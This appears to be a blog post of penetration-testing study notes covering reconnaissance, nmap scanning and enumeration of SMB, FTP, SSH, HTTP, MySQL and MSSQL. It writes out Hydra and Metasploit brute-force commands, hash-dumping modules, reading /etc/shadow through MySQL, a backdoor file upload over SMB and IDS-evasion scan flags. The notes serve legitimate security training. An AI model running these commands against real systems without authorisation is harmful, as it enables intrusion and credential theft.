JacksBlog: August 2023

Information gathering

Collecting info about what we are targeting (company, website/URL/IP, app, servers, people etc)

The scope can be wide or narrow.

People info gathering

Names and email format is what we usually want for a phishing attack

We can also look at social media, linkedin, facebook, instagram etc

Passive info gathering aka OSINT (open source intelligence)

We don't need permission because its publicly available information

Get as much as we can without actively engaging opensource intel

Publicly available information.

Visit public websites

examples:

IP ranges and DNS info
Domain names and ownership info
Sub domins
Email and social media
Web tech being used on target sites (IIS, nginx etc)

Penetration testing method

Passive info gathering (OSINT, DNS IP recon, social media, google)

Active info gathering (network/app/port scanning, calling up asking for info)

Enumeration (service/user/share enumeration)

Vulnerability scanning

Exploitation (use existing, modify or develop exploit)

Post exploitation

Local enumeration from the inside
Privilege escalation
Credential access
Persistence
Défense evasion
Lateral movement

Reporting (writing of report / recommendation on remediation)

Active info gathering

We need permission

Scanning IP ranges

Scanning IP's for open ports (nmap/nessus)

Ports can tell us about services and we can look for vulns

Discovering open ports

examples:

nmap scan to discover open ports
Nessus scan to discover vulnerabilities
Enumerating info from target systems

Website recon and foot printing

IP addresses

Directories hidden from search engines

Host command (in kali)

host website.com

website.com has address 10.10.10.10

website.com has IPv6 address 2axx:4xx:1xx:4xxx::2

website.com mail is handled by 5 esa.website.com.

website.com mail is handled by 10 esa2.website.com.

website.com mail is handled by 15 esa3.website.com.

Often we might see a website hosted by a proxy like cloudflare

Robots.txt

Robots.txt is read by search engines and we can tell them directories not to crawl.

Browse to www.website.com/robots.txt

User-agent: *

Allow: /wp-admin/admin-ajax.php

Disallow: /wp-admin/

Sitemap: https://www.website.ie/sitemap.xml

Sitemap: https://www.website.ie/sitemap.rss

We can see they disallow /wp-admin/ that wp-admin folder tells us its a word press site.

Sitemap.xml

Sitemap is again for search engines to index the site.

Firefox plugin BuiltWith

This plugin will give whats running on this site

Will see widgets and plugins

Whatweb (kali)

whatweb website.ie

Download the full website with HTTrack

HTTrack (windows and linux) to look at the source code offline.

Whois (kali also many websites) - looking up registration details of websites

Main info to gather from the whois output:

What registrar the domain was registered with

Updated Date: When the domain was renewed

Created Date: When it was created

Registry expiry: (when the domain will expire)

Name server: can point to a proxy like cloud flare

DNSSEC: we might see the owner of the domain unless DNSSEC is enabled

whois zonetransfer.me

https://who.is (useful website for running who.is)

whois x.x.x.x (where x.x.x.x is public IP)

Website footprinting with netcraft

netcraft.com is a web tool with gather lots of the passive recon information for us in one location

DNS recon

dnsrecon -d domain.com

dnsdumpster.com - free website which organises the same information nicely

We can see name servers, SRV, TXT, mx records and subdomains

WAF with WAFW00f (kali)

WAF is a web application firewall

WAFw00f is WAF fingerprinting tool

wafwoof https://zonetransfer.me

Subdomain enumeration with sublist3r (kali)

Sublister checks the search engines to see if a subdomain was indexed at some stage

subliust3r -d domain.com -e google,yahoo

subliust3r -d domain.com (this will search with all search engines)

Keep in mind results won't be 100% but very useful.

It will make lots of requests to the engines so you may need a VPN to change connection to get it to work.

Google Dorks aka google hacking

site:domain.com

site:domain.com inrul admin (look for an admin panel)

site:domain.com inrul forum (look for a forum)

site:*.domain.com (show all the subdomains)

Sometimes subdomains are publicly available that shouldn't be

site:*.domain.com intitle admin (look for admin page)

site:*.domain.com filetype:pdf (look for pdf files)

site:*.domain.com employees

site:*.domain.com team

intitle: index of

Looking for older versions of the website for information like names, email addresses etc.

cache: domain.com

Thewaybackmachine.com

Looking for leaked usernames and passwords

inurl:auth_user_file.txt

inurl:passwd.txt

Google hacking database (https://www.exploit-db.com/google-hacking-database)

look up google dorks for wordpress for example

email harvesting with theHarvester (kali)

Searches on search engines and sites like linkedin and several other websites

Spyse - paid site worth considering

Leaked password databases

When we find emails addresses, check if their data has been leaked at some stage

Quick way to check if an email you found is in a data breach

https://haveibeenpwned.com/

DNS zone transfers

DNS servers is like a phone directory a list of URLs to IP addresses

Cloud flare: 1.1.1.1

Google: 8.8.8.8

DNS record types

A - Resolves hostname to IPv4 address

AAAA - Resolves hostname to IPv6 addreess

NS - The domains name server

MX - Where the email server is

CNAME - Aliases

TXT - text info often used to auth ownership of a domain

HINFO - host information

SOA - Domain auth

SRV - Service rexords

PTR - resolves IP to hostname

DNS Interrogation

Probe the DNS server for more info

DNS zone transfer

Admins may want to copy or transfer zone files from one DNS server to another. The process is known as a zone transfer.

If left misconfigured we can attempt a zone transfer from the primary DNS server to another server

A DNS zone transfer can provide pentesters with a holistic view of an organizations network layout.

Internal network addresses may be found on the orgs DNS servers

dnsrecon -d zonetransfer.ie

Active action:

dnsenum zonetransfer.ie

Zone transfer with dig

dig axfr [name-server] [domian]

dig axfr @ns2cm1.digi.ninja zonetransfer.me

Brute force domains with fierce

fierce -dns zonetransfer.me

Network mapping

IP range / subnets (so we scan scan)
How many hosts (we can see how many are up and max possible)
What client/server OS are they running
What network devices do they have, what vendor/SW versions running
Can we find a DMZ ?
Find what ports are open

Host discovery with nmap

-sn

ping sweep but may be blocked by firewalls

follow with

-Pn

--send-ip overrides arp (don't use arp, use icmp etc)

The idea is to gather IP's with a ping sweep, then run port scans on the IPs we see are up.

Some hosts won't respond to ping or it will be blocked by a hardward or software firewall. For this resaon we need to try a few methods and put it all together:

Ping (icmp echo)
TCP SYN (half open scan or stealth scan in namp)
ARP
TCP ACK (send an ACK to a server to see if we get a TCP RST back then we know its up)
TCP SYN-ACK (similar to above)
UDP (longer shot / specific use cases often UDP won't respond)

ICMP

Echo request

type: 8

code: 0

Echo reply

Type: 0

code: 0

8=request

0=reply

Netdiscover

namp uses ping/icmp and netdiscover uses arp

sudo netdiscover -i eth0 -r 192.168.3.0/24

Port scanning with nmap

-Pn (don't use ping for host detection, just do the port scan on common 1000 ports)

nmap -Pn x.x.x.x

nmap -Pn -p- x.x.x.x (scan all ports will take a long time, can add -T4 to speed up)

nmap -Pn -p- x.x.x.x -T4

nmap -Pn -p 80 x.x.x.x (scan port 80)

nmap -Pn -p1-10 x.x.x.x (scan a range)

nmap -Pn -F x.x.x.x (fast scan of commonly used ports)

nmap -Pn -sU x.x.x.x (use UDP)

Scan a range

nmap -sn 192.168.1.0/24 --send-ip

Scan multiple targets

nmap -sn 192.168.1.30 192.168.1.40

Scan .30 to .40

nmap -sn 192.168.1.30-40

Scan a list of IPs from a file

Gather you list of inscope IP's in a file called targets.txt

nmap -sn -iL targets.txt

Real world scan

nmap -sn -v -T4 192.168.1.10

-sn ping scan

-v verbose

-T4 timing templacte to increase speed

Adding on the syn scan and udp scan

nmap -sn -v -PS21,22,25,80,3389,445,8080,8443 -PU137,138,139 -T4 192.168.1.10

filtered generally means a firewall blocked us

closed means the port not listening

Find IPs

Scan for open ports

Look for services

Look for service versions

Look for vulnerabilities

service version detection

nmap -Pn -F -sV x.x.x.x (service version detection, takes longer)

-O OS detection (upper case O)

nmap -Pn -F -sV -O x.x.x.x -v

-sC (script scan to get more info)

We may need to speed up/slow down scans to avoid detection. We can use -T. Lower value is slower, higher value is faster (more chance to be detected by IPS etc).

-T

0 paranoid

1 sneaky

2 polite

3 normal

4 aggressive

5 insane

We can output nmap to files

-oN scan.txt

-oX scan.xml (can be imported into Metasploit later, can also nmap from inside Metasploit)

nmap -sV -Pn -oX myscan.xml t.t.t.t

Assessment Methods: footprinting + scanning

Mapping a network

define the scope

what is the most useful use of your time

physical access

VPN S2S, or dial in

Or totally no help you must gain physical or digital access

Get on the network (physical or remote access)

sniffing

Passive recon, watch the network, learn

ARP - resolves IP to MAC address, can arp the full subnet to learn about the network

ICMP (ping and traceroute)

type 8 is echo request (ping) we can ping the subnet to see what responds.

Nework Tools

Wireshark

ArpScan

ping

Fping

nmap and zenmap

Arpscan CLI

Sudo arp-sscan -i eht0 -g 192.168.3.0/24

Fping CLI

fping -i eth0 -g 192.168.3.0/24 -a 2> /dev/null

This prints only the alive hosts on the screen

Good idea to arp and ping the subnet.

Nmap CLI

nmap -Pn 192.168.3.0/24

nmap -sn 192.168.3.0/24

nmap also sends a TCP SYN

Wireshark

Run a capture

Run all your scans

Check hosts

Zenmap is gui version of nmap

Nmap OS and service detection

We can find OS and service versions with NMAP, below is how it works

Standard TCP 3WHS

open port

SYN >

SYN--ACK <

ACL >

RST+ACK >

closed port

SYN >

RST+ACK <

Stealth scan

SYN>

SYN+ACK

RST >

In the stealth scan we close the 3WHS as soon as we get the SYN+ACK back we know the port is open and a server responding.

Service detection

SYN >

SYN+ACK <

ACK >

BANNER < (service info here eg openssh v1.0)

RST+ACK >

In service detection we read data provided by the server.

NMAP basic switches

nmap -H (help, lots of options here)

-sV Service detection

-sC Scripts default

-A aggressive mode (loud) does all the scans

-O OS detection

-exclude (exclude certain hosts from scanning)

-A will does OS detect, version detect, Script Scan and traceroute

Scan targets from a file

nmap -iL ip-list.txt

Scan skip port scan and just send syn packet (faster). Just sends TCP SYN to port 80.

nmap -sn -PS 10.4.23.227

Other scan tools

Masscan - Fast scanner for big networks

Rutscan - low level language so fast

AutoRecon - keeps scanning / doing recon

Nmap Scan Techniques

SWITCH	EXAMPLE	DESCRIPTION
-sS	nmap 192.168.1.1 -sS	TCP SYN port scan (Default)
-sT	nmap 192.168.1.1 -sT	TCP connect port scan (Default without root privilege)
-sU	nmap 192.168.1.1 -sU	UDP port scan
-sA	nmap 192.168.1.1 -sA	TCP ACK port scan
-sW	nmap 192.168.1.1 -sW	TCP Window port scan
-sM	nmap 192.168.1.1 -sM	TCP Maimon port scan

Host Discovery

SWITCH	EXAMPLE	DESCRIPTION
-sL	nmap 192.168.1.1-3 -sL	No Scan. List targets only
-sn	nmap 192.168.1.1/24 -sn	Disable port scanning. Host discovery only.
-Pn	nmap 192.168.1.1-5 -Pn	Disable host discovery. Port scan only.
-PS	nmap 192.168.1.1-5 -PS22-25,80	TCP SYN discovery on port x. Port 80 by default
-PA	nmap 192.168.1.1-5 -PA22-25,80	TCP ACK discovery on port x. Port 80 by default
-PU	nmap 192.168.1.1-5 -PU53	UDP discovery on port x. Port 40125 by default
-PR	nmap 192.168.1.1-1/24 -PR	ARP discovery on local network
-n	nmap 192.168.1.1 -n	Never do DNS resolution

Port Specification

SWITCH	EXAMPLE	DESCRIPTION
-p	nmap 192.168.1.1 -p 21	Port scan for port x
-p	nmap 192.168.1.1 -p 21-100	Port range
-p	nmap 192.168.1.1 -p U:53,T:21-25,80	Port scan multiple TCP and UDP ports
-p	nmap 192.168.1.1 -p-	Port scan all ports
-p	nmap 192.168.1.1 -p http,https	Port scan from service name
-F	nmap 192.168.1.1 -F	Fast port scan (100 ports)
-top-ports	nmap 192.168.1.1 -top-ports 2000	Port scan the top x ports
-p-65535	nmap 192.168.1.1 -p-65535	Leaving off initial port in range makes the scan start at port 1
-p0-	nmap 192.168.1.1 -p0-	Leaving off end port in range makes the scan go through to port 65535

Service and Version Detection

SWITCH	EXAMPLE	DESCRIPTION
-sV	nmap 192.168.1.1 -sV	Attempts to determine the version of the service running on port
-sV -version-intensity	nmap 192.168.1.1 -sV -version-intensity 8	Intensity level 0 to 9. Higher number increases possibility of correctness
-sV -version-light	nmap 192.168.1.1 -sV -version-light	Enable light mode. Lower possibility of correctness. Faster
-sV -version-all	nmap 192.168.1.1 -sV -version-all	Enable intensity level 9. Higher possibility of correctness. Slower
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute

OS Detection

SWITCH	EXAMPLE	DESCRIPTION
-O	nmap 192.168.1.1 -O	Remote OS detection using TCP/IP stack fingerprinting
-O -osscan-limit	nmap 192.168.1.1 -O -osscan-limit	If at least one open and one closed TCP port are not found it will not try OS detection against host
-O -osscan-guess	nmap 192.168.1.1 -O -osscan-guess	Makes Nmap guess more aggressively
-O -max-os-tries	nmap 192.168.1.1 -O -max-os-tries 1	Set the maximum number x of OS detection tries against a target
-A	nmap 192.168.1.1 -A	Enables OS detection, version detection, script scanning, and traceroute

Timing and Performance

SWITCH	EXAMPLE	DESCRIPTION
-T0	nmap 192.168.1.1 -T0	Paranoid (0) Intrusion Detection System evasion
-T1	nmap 192.168.1.1 -T1	Sneaky (1) Intrusion Detection System evasion
-T2	nmap 192.168.1.1 -T2	Polite (2) slows down the scan to use less bandwidth and use less target machine resources
-T3	nmap 192.168.1.1 -T3	Normal (3) which is default speed
-T4	nmap 192.168.1.1 -T4	Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network
-T5	nmap 192.168.1.1 -T5	Insane (5) speeds scan; assumes you are on an extraordinarily fast network

Timing and Performance Switches

SWITCH	EXAMPLE INPUT	DESCRIPTION
-host-timeout <time>	1s; 4m; 2h	Give up on target after this long
-min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>	1s; 4m; 2h	Specifies probe round trip time
-min-hostgroup/max-hostgroup <size<size>	50; 1024	Parallel host scan group sizes
-min-parallelism/max-parallelism <numprobes>	10; 1	Probe parallelization
-max-retries <tries>	3	Specify the maximum number of port scan probe retransmissions
-min-rate <number>	100	Send packets no slower than <number> per second
-max-rate <number>	100	Send packets no faster than <number> per second

NSE Scripts

SWITCH	EXAMPLE	DESCRIPTION
-sC	nmap 192.168.1.1 -sC	Scan with default NSE scripts. Considered useful for discovery and safe
-script default	nmap 192.168.1.1 -script default	Scan with default NSE scripts. Considered useful for discovery and safe
-script	nmap 192.168.1.1 -script=banner	Scan with a single script. Example banner
-script	nmap 192.168.1.1 -script=http*	Scan with a wildcard. Example http
-script	nmap 192.168.1.1 -script=http,banner	Scan with two scripts. Example http and banner
-script	nmap 192.168.1.1 -script "not intrusive"	Scan default, but remove intrusive scripts
-script-args	nmap -script snmp-sysdescr -script-args snmpcommunity=admin 192.168.1.1	NSE script with arguments

Useful NSE Script Examples

COMMAND	DESCRIPTION
nmap -Pn -script=http-sitemap-generator scanme.nmap.org	http site map generator
nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000	Fast search for random web servers
nmap -Pn -script=dns-brute domain.com	Brute forces DNS hostnames guessing subdomains
nmap -n -Pn -vv -O -sV -script smb-enum,smb-ls,smb-mbenum,smb-os-discovery,smb-s,smb-vuln,smbv2 -vv 192.168.1.1	Safe SMB scripts to run
nmap -script whois* domain.com	Whois query
nmap -p80 -script http-unsafe-output-escaping scanme.nmap.org	Detect cross site scripting vulnerabilities
nmap -p80 -script http-sql-injection scanme.nmap.org	Check for SQL injections

Firewall / IDS Evasion and Spoofing

SWITCH	EXAMPLE	DESCRIPTION
-f	nmap 192.168.1.1 -f	Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
-mtu	nmap 192.168.1.1 -mtu 32	Set your own offset size
-D	nmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1	Send scans from spoofed IPs
-D	nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip	Above example explained
-S	nmap -S www.microsoft.com www.facebook.com	Scan Facebook from Microsoft (-e eth0 -Pn may be required)
-g	nmap -g 53 192.168.1.1	Use given source port number
-proxies	nmap -proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1	Relay connections through HTTP/SOCKS4 proxies
-data-length	nmap -data-length 200 192.168.1.1	Appends random data to sent packets

Output

SWITCH	EXAMPLE	DESCRIPTION
-oN	nmap 192.168.1.1 -oN normal.file	Normal output to the file normal.file
-oX	nmap 192.168.1.1 -oX xml.file	XML output to the file xml.file
-oG	nmap 192.168.1.1 -oG grep.file	Grepable output to the file grep.file
-oA	nmap 192.168.1.1 -oA results	Output in the three major formats at once
-oG -	nmap 192.168.1.1 -oG -	Grepable output to screen. -oN -, -oX - also usable
-append-output	nmap 192.168.1.1 -oN file.file -append-output	Append a scan to a previous scan file
-v	nmap 192.168.1.1 -v	Increase the verbosity level (use -vv or more for greater effect)
-d	nmap 192.168.1.1 -d	Increase debugging level (use -dd or more for greater effect)
-reason	nmap 192.168.1.1 -reason	Display the reason a port is in a particular state, same output as -vv
-open	nmap 192.168.1.1 -open	Only show open (or possibly open) ports
-packet-trace	nmap 192.168.1.1 -T4 -packet-trace	Show all packets sent and received
-iflist	nmap -iflist	Shows the host interfaces and routes
-resume	nmap -resume results.file	Resume a scan

Helpful Nmap Output examples

COMMAND	DESCRIPTION
nmap -p80 -sV -oG - -open 192.168.1.1/24 \| grep open	Scan for web servers and grep to show which IPs are running web servers
nmap -iR 10 -n -oX out.xml \| grep "Nmap" \| cut -d " " -f5 > live-hosts.txt	Generate a list of the IPs of live hosts
nmap -iR 10 -n -oX out2.xml \| grep "Nmap" \| cut -d " " -f5 >> live-hosts.txt	Append IP to the list of live hosts
ndiff scanl.xml scan2.xml	Compare output from nmap using the ndif
xsltproc nmap.xml -o nmap.html	Convert nmap xml files to html files
grep " open " results.nmap \| sed -r ‘s/ +/ /g’ \| sort \| uniq -c \| sort -rn \| less	Reverse sorted list of how often ports turn up

Miscellaneous Nmap Flags

SWITCH	EXAMPLE	DESCRIPTION
-6	nmap -6 2607:f0d0:1002:51::4	Enable IPv6 scanning
-h	nmap -h	nmap help screen

Other Useful Nmap Commands

COMMAND	DESCRIPTION
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn	Discovery only on ports x, no port scan
nmap 192.168.1.1-1/24 -PR -sn -vv	Arp discovery only on local network, no port scan
nmap -iR 10 -sn -traceroute	Traceroute to random targets, no port scan
nmap 192.168.1.1-50 -sL -dns-server 192.168.1.1	Query the Internal DNS for hosts, list targets only
nmap 192.168.1.1 --packet-trace	Show the details of the packets that are sent and received during a scan and capture the traffic.

Only show opens ports in the outpu

nmap -p 22 --open 192.168.1.0/24

Enumeration (learn more)

Before any attack we just look around. Maybe there is misconfig or default passwords.

SMB - Server Message Block (windows file shares)

Runs on port 445

nmap -sV -sC 192.168.3.10 will find SMB details

Can map drive in windows with "net use"

net use Z: \\192.168.3.10\c$ smbpw /user:admin

Nmap scripts location:

/usr/share/nnamp/scripts

ls /usr/share/nmap/scripts/ | grep smb

ls /usr/share/nmap/scripts/ | grep http

Nmap scan be used to enumerate SMB

nmap -p 445 --script smb-protocols x.x.x.x

SMBv1 is dangerous and default usernames/passwords are bad. Often we see companies have SMBv1 enabled.

nmap -p 445 --script smb-security-mode x.x.x.x

see when a user logged in

nmap -p 445 --script smb-enum-sessions x.x.x.x

IPC$ null session anonymous

nmap -p 445 --script smb-enum-shares x.x.x.x

Location of nmap scripts

/usr/share/nmap/scripts

Ways to find sciprt args

Read the script file

more http-enum.nse

Go to @usage section

cat the script file and grep for args

cat /usr/share/nmap/scripts/http-enum.nse | grep args

grep for usage and args

grep -iR -A5 "@usage" /usr/share/nmap/scripts/http-enum.nse

grep -iR -A5 "@args" /usr/share/nmap/scripts/http-enum.nse

Enum shares with a username and password

nmap -p445 --script smb-enum-shares --script-args smbusername=administrator,smbpassword=secret x.x.x.x

print$ for sharing printers

Sometimes important doc's are left on print$

look for default and guest accounts and try the default passwords

nmap -p 445 --script smb-enum-users x.x.x.x

nmap -p 445 --script smb-enum-domains x.x.x.x

nmap -p 445 --script smb-enum-groups x.x.x.x

smbmap -u guest -p "" -H x.x.x.x

We expect guest account to be read only on IPC$ and print$ and NO access on anything else

With an account with rights

-x 'ipconfig'

--upload /backdodr.txt C:\backdoor.txt

--download 'c$:\loot.txt'

Other linux tools for SMB

nmap x.x.x.x -sV -p 139,445

Metasploit

msfconsole

Set a variable in metasploit

This way we don't have to keep typing in the target IP

workspace -a TEST

setg RHOSTS t.t.t.t

setg RHOST t.t.t.t

search smb

search smb_enum

use auxiliary/scanner/smb/smb_version

show options

set Rhosts x.x.x.x

run

exit

use auxiliary/scanner/smb/smb2

show options

set Rhosts x.x.x.x

Other useful SMB modules

smb_enumusers

smb_enumshares

smb_login

Find the NetBIOS computer name from an IP

nmblookup -A x.x.x.x

Uses netbios <20> means we can connect

Check if we can list shares without a username and password

smbclient -L x.x.x.x -N

rpcclient -U ''" -N x.x.x.x

enum4linux -o x.x.x.x

List shares (enum4linux)

enum4linux -S x.x.x.x

List groups (enum4linux)

enum4linux -G x.x.x.x

rpcclient commands

rpcclient -U ''" -N x.x.x.x

enumdomusers

Connect to a share with SMB client

smbclient //x.x.x.x/sharename -N

cd secret

more flag.txt

Get OS ver

srvinfo

Get info on username admin

lookupnames admin

Enumeration is all about finding information to use again later, for example we can find out who has access to a certain folder and then target that user.

Connecting with word lists when we don't have passwords

use auxiliary/scanner/smb/smb_login

info

show options

set Rhosts x.x.x.x

set pass_file /user/share/wordlist.txt

set smbuser bob

run

Hydra brute force

Unzip the password file

gzip -d /usr/share/rockyou.txt.gz

hydra -l admin -P /rockyou.txt x.x.x.x smb

Watch out for lower case "p" and uppercase "P"

hydra -p SinglePassword

hydra -P /usr/share/passwordfile.txt

smbmap -H x.x.x.x -u admin -p Password01

Connect to admin share when you have the password and download a file

smbclient //192.212.251.3/admin -U admin

cd hidden

download a file

get flag.tar.gz

exit

extract

tar -xf flag.tar.gz

cat flag

Other services and pipes

Lots of other services use SMB and they connect via "pipes"

IF we know what to look for we can get info from the other services

use auxiliary/scanner/smb/pipe_auditor

info

show options

set Rhosts x.x.x.x

set smbuser bob

set smbpassword

options

run

Named pipes returned

\netlogon

\lsarpc

\samr

\eventlog

\initshutdown

\ntsvcs

\srvsvc

\wkssvc

Maybe we can use this info later

FTP (TCP port 21)

nmap -p 21 -sV -O 192.168.1.100

ftp in cmd prompt

ftp 192.168.1.100

Try nothing for username and password (anon login)

Hydra

hydra -l /usr/share/metasploit-framework/data/monlists/unix_passwords.txt 192.168.1.100 ftp

nmap 192.168.1.100 --script ftp-brute --script-args userdb=/root/users -p 21

The file in /root called users contains a usersname list

Check a list of usernames and passwords

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.100 -t 4 ftp

Enumerate FTP with metasploit

service postgresql start

msfconsole

search ftp

auxiliary/scanner/ftp/ftp_version

info

set RHOSTS t.t.t.t

run

Now we know the versions we can search for exploits

search ProFTPD

Try anonymous login

search type:auxiliary name:ftp

use auxiliary/scanner/ftp/anonymous

info

set RHOST t.t.t.t

run

Brute force

search type:auxiliary name:ftp

use auxiliary/scanner/ftp/ftp_login

info

set RHOST t.t.t.t

set USER_FILE /usr/share/metasplot-framework/data/wordlists/common_users.txt

set PASS_FILE /usr/share/metasplot-framework/data/wordlists/unix_passwords.txt

run

FTP login and download of file.

ftp t.t.t.t

sysadmin

password

get secret.txt

exit

cat secret.txt

Hydra lower and uppercase "l" and "L" and "p" and "P"

-l username or -L USER-LIST

-p singlepassword or -P PW-LIST

FTP anon login with nmap

nmap 192.168.1.100 -p 21 --script ftp-anon

username ananymouse

password: (blank)

SSH (TCP 22) enumeration

Search for auxiliary modules in metasploit

search type:auxiliary name:ssh

auxiliary/scanner/ssh_version

auxiliary/scanner/ssh_login

auxiliary/scanner/ssh_enumusers

Nmap

nmap 192.168.1.100 -sV -O

You may see SSH ver and hosting server ver

Check pre login banner

ssh root@192.168.1.100

Netcat

nc 192.168.1.100 22

You may get a banner/welcome message

Check auth methods

nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=student" 192.201.39.3

Check algo's

nmap 192.168.1.100 -p 22 --script ssh2-enum-algos

some other scripts

nmap --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

--script ssh-auth-methods --script-args="ssh.user=student"

(can try username admin, root, etc)

SSH brute force

Unzip the rockyou pw list

gzip -d /usr/share/wordlists/rockyou.txt.gz

Run hydra

hydra -l student -p /root/rockyou.txt

Hydra may return a password found in the list

echo "administrator" > user

nmap 192.168.1.100 -p 22 --script ssh-brute --script-args userdb=/.../user

Run a command with nmap script ssh-run

nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG,ssh-run.username=student,ssh-run.password=" 192.168.1.100

msfconsole

msfconsole

use auxiliary/scanner/ssh/ssh_login

show options

set rhosts 192.168.1.100

set userpass_file /usr/share/.../root_userpass.txt

set STOP_ON_SUCCESS true

set verbose true

options (to show all options)

run

ssh root@192.168.1.100

whoami

HTTP (web server enumeration)

Lets say the scan returns port 443 we know https is running

Can check for a site in the web browser

nmap 192.168.1.100 -sV -O

MS IIS 10.0

MS RPC

MS Netbios

whatweb 192.168.1.100

http-py sends https request and returns header and other info in the output

browsh --script-url http://192.168.1.100/home.aspx

You can enum a lot of stuff from web servers with dirb

dirb http://192.168.1.100

dirb will run for a long time check for any directories with access

Enumerate http with nmap

nmap 192.168.1.100 -sV -p 80 --script http-enum

nmap 192.168.1.100 -sV -p 80 --script http-headers

Find http methods for webdav

nmap --script http-methods --script-args http-methods.url-path=/webdav/ 192.168.100.1

Msfconsole (metasploit)

use /auxiliary/scanne/http/http_version

set rhosts 192.168.1.1000

options

set RPORT 80 or 443

set SSL true (if using 443)

run

Other modules

use /auxiliary/scanne/http/http_header

info

set RHOSTS t.t.t.t

run

Will give some info like HTML and web server/version running.

curl

curl 192.168.1.100 | more

curl http://192.168.1.100/cgi-bin | more

Text based browsers

browsh and lynx are very similar text based browsers

Brute force directories

directory_scanner

Looks for directories

use /auxiliary/scanner/http/dir_scanner

info

set RHOSTS t.t.t.t

run

We can do the same thing to look for files

use /auxiliary/scanner/http/files_dir

info

set DICTIONARY wmap_files.txt

set RHOSTS t.t.t.t

set PATH /

run

We may find some interesting files.

HTTP login

use /auxiliary/scanner/http/http_login

info

set USER_FILE namelist.txt

set PASS_FILE unix_passwords.txt

set VERBOSE false

run

msfconsole

use auxiliary/http/brute_dirs

show options

set rhosts 192.168.1.100

options

exploit

will look for directories

Robots.txt (may include directories that developers don't want crawled)

msfconsole

use auxiliary/scanner/http/robots.txt

set rhosts 192.168.1.100

options

run

We may see some output, those folders look interesting

Disallow:/data

Disallow:/secure

curl http://t.t.t.t/data/

curl http://t.t.t.t/secure/

MySQL enumeration

Say our nmap scan returned TCP 3306

mssql port is 1433

nmap 192.168.1.100 -sV -p 3306

Can be configured to run on other ports.

Connect to remote MySQL server

mysql -h 192.168.1.100 -u root

show databases;

use books;

select count(*) from authors;

select * from authors;

help

mysql commands end with ;

Setup Metasploit workspace

service postgresql start

msfconsole

workspace -a MYSQLENUM

set RHOST t.t.t.t

set RHOSTS t.t.t.t

Search for aux modules relating to mysql

search type:auxiliary name:mysql

use auxiliary/scanner/mysql/mysql_version

info

run

Brute force with metasploit

use auxiliary/scanner/mysql/mysql_login

options

set USERNAME root

set PASS_FILE /usr/share /metasploit-framework/data/wordlists/unit_passwords.txt

run

Check for writable directories

msfconsole

use auxiliary/scanner/mysql/mysql_writetable_dirs

show options

set rhosts 192.168.1.100

set dir_list /usr/share/...dirs.txt

set verbose false

set password ""

options

run

Once we have username and password we can run this to enum lots of information

use auxiliary/scanner/mysql/mysql_enum

Run mysql queries from metasploit

use auxiliary/scanner/mysql/mysql_sql

info

set USERNAME root

set PASSWORD secret

set SQL show databases;

run

schemadump will give you lots of details about databases and tables

use auxiliary/scanner/mysql/mysql_schemadump

set USERNAME root

set PASSWORD secret

run

Metasploit workspace commands

hosts - shows all the IP's we found online

services - shows all the open ports we found

loot - shows the schema we were able to get

creds - shows password hashes we got

File enum

use auxiliary/scanner/mysql/mysql_file_enum

set RHOSTS 192.168.100.1

set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt

set PASSWORD ""

exploit

Get password hash

mysql -h 192.168.100.1 -u root

select load_file("/etc/shadow");

The hash is between $ and :

Get hashes for users

msfconsole

use auxiliary/scanner/mysql/mysql_hashdump

options

exploit

nmap check for empty password

nmap --script=mysql-empty-password

Check capabilities

nmap --script=mysql-info -p 3306 192.168.100.1

Enumerate users

nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1

List all databases

nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1

List all directories

nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1

Find the datadir

nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1 | grep datadir

Check if file privileges can be granted to non admin users, use mysql-audit script. See 5.8

nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.168.100.1

Dump hashes using nmap script

nmap --script mysql-dump-hashes --script-args="username='root',password=''" -p 3306 192.168.100.1

Find number of records in a table

nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -p 3306 192.168.100.1

List of nmap scripts for mysql

mysq-info

mysql-users

mysql-databases

mysql-variables

data dir /var/lib/mysql

mysql-audit

mysql-query

Dictionary attack on mysql using msfconsole

msfconsole

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.100.1

set USERNAME root

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

set VERBOSE false

set STOP_ON_SUCCESS true

exploit

Hydra

hydra -l root -p passwords.txt mysql

MSSQL

Basic nmap scan to start

nmap 192.168.1.10

MSSQL port is 1433

NMAP script it get version details

nmap --script ms-sql-info -p 1433 192.168.1.10

nmap script to get info via NTLM (to get back netbios/DNS/OS)

nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 192.168.1.10

nmap script to brute force logins using usernames and passwords files

nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-p asswords.txt 192.168.1.10

nmap script to check for any users with empty passwords

nmap -p 1433 --script ms-sql-empty-password 192.168.1.10

nmap script to extract users from DB to a local file

nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" 192.168.1.10 -oN output.txt

more output.txt

nmap script to dump hashes

